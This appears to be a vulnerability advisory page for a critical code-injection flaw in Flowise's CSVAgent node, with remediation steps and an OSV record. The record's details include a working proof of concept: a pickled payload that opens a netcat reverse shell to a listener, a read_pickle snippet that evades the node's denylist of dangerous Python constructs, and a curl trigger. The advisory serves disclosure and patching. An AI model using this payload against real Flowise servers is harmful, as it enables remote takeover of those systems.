CVE-2026-69256: Flowise Remote Code Execution Vulnerability
CRITICALCVE-2026-69256 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Flowise libraries in the npm ecosystem. The issue involves remote code execution vulnerability in csvagent. Remediation is available by upgrading affected packages to version 3.1.3.
CVE-2026-69256 at a Glance
How to Fix CVE-2026-69256
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise-components@3.1.3
npm install flowise@3.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise-components
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-69256, inspect your project dependencies using npm:
npm ls flowise-components
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.
Note: The npm ls flowise-components command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-69256 Affected Flowise Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise-components
|
npm |
< 3.1.3
|
3.1.3
|
|
flowise
|
npm |
< 3.1.3
|
3.1.3
|
References
Frequently Asked Questions
What is CVE-2026-69256?
Which Flowise versions are affected?
What version fixes CVE-2026-69256?
Is flowise-components affected?
Is flowise affected?
What CWE is associated with CVE-2026-69256?
How can I check npm dependencies for CVE-2026-69256?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x6vm-w76m-8j7g",
"modified" : "2026-08-04T17:47:31Z",
"published" : "2026-08-04T15:46:20Z",
"aliases" : [ "CVE-2026-69256" ],
"summary" : "Flowise: Remote Code Execution Vulnerability in CSVAgent",
"details" : "### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n\ndf = pd.${customReadCSVFunc} <1>\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n throw new Error(error)\n}\n```\n\nAt <1>, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [\n // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: 'import statement (from...import)' },\n { pattern: /\\bimport\\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },\n // Dangerous builtins\n { pattern: /\\beval\\s*\\(/g, reason: 'eval()' },\n { pattern: /\\bexec\\s*\\(/g, reason: 'exec()' },\n { pattern: /\\bcompile\\s*\\(/g, reason: 'compile()' },\n { pattern: /\\b__import__\\s*\\(/g, reason: '__import__()' },\n { pattern: /\\bopen\\s*\\(/g, reason: 'open()' },\n { pattern: /\\bbreakpoint\\s*\\(/g, reason: 'breakpoint()' },\n { pattern: /\\binput\\s*\\(/g, reason: 'input()' },\n { pattern: /\\braw_input\\s*\\(/g, reason: 'raw_input()' },\n { pattern: /\\bglobals\\s*\\(/g, reason: 'globals()' },\n { pattern: /\\blocals\\s*\\(/g, reason: 'locals()' },\n { pattern: /\\bgetattr\\s*\\(/g, reason: 'getattr()' },\n { pattern: /\\bsetattr\\s*\\(/g, reason: 'setattr()' },\n { pattern: /\\bdelattr\\s*\\(/g, reason: 'delattr()' },\n { pattern: /\\breload\\s*\\(/g, reason: 'reload()' },\n { pattern: /\\bfile\\s*\\(/g, reason: 'file()' },\n { pattern: /\\bexecfile\\s*\\(/g, reason: 'execfile()' },\n // Dangerous modules / attributes\n { pattern: /\\bos\\./g, reason: 'os module' },\n { pattern: /\\bsubprocess\\./g, reason: 'subprocess module' },\n { pattern: /\\bsys\\./g, reason: 'sys module' },\n { pattern: /\\bsocket\\./g, reason: 'socket module' },\n { pattern: /\\burllib\\./g, reason: 'urllib module' },\n { pattern: /\\brequests\\./g, reason: 'requests module' },\n { pattern: /\\b__builtins__\\b/g, reason: '__builtins__' },\n { pattern: /\\b__loader__\\b/g, reason: '__loader__' },\n { pattern: /\\b__spec__\\b/g, reason: '__spec__' },\n { pattern: /\\b__class__\\b/g, reason: '__class__ (reflection)' },\n { pattern: /\\b__subclasses__\\s*\\(/g, reason: '__subclasses__()' },\n { pattern: /\\b__bases__\\b/g, reason: '__bases__' },\n { pattern: /\\b__mro__\\b/g, reason: '__mro__' },\n { pattern: /\\b__globals__\\b/g, reason: '__globals__' },\n { pattern: /\\b__code__\\b/g, reason: '__code__' },\n { pattern: /\\b__closure__\\b/g, reason: '__closure__' },\n { pattern: /\\bvars\\s*\\(/g, reason: 'vars()' },\n { pattern: /\\bdir\\s*\\(/g, reason: 'dir()' },\n { pattern: /\\b__dict__\\b/g, reason: '__dict__ (attribute reflection)' },\n { pattern: /\\b__module__\\b/g, reason: '__module__ (module reflection)' }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n def __init__(self, b):\n self.data = b\n self.pos = 0\n def read(self, n=-1):\n if n == -1:\n n = len(self.data) - self.pos\n chunk = self.data[self.pos:self.pos+n]\n self.pos += n\n return chunk\n def readline(self, n=-1):\n if self.pos >= len(self.data):\n return b\"\"\n next_nl = self.data.find(b\"\\\\n\", self.pos)\n if next_nl == -1:\n next_nl = len(self.data)\n if n != -1:\n next_nl = min(self.pos + n, next_nl)\n line = self.data[self.pos:next_nl+1]\n self.pos = next_nl + 1\n return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/<UUID>`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.2"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/pull/6257"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-04T15:46:20Z",
"nvd_published_at" : null
}
}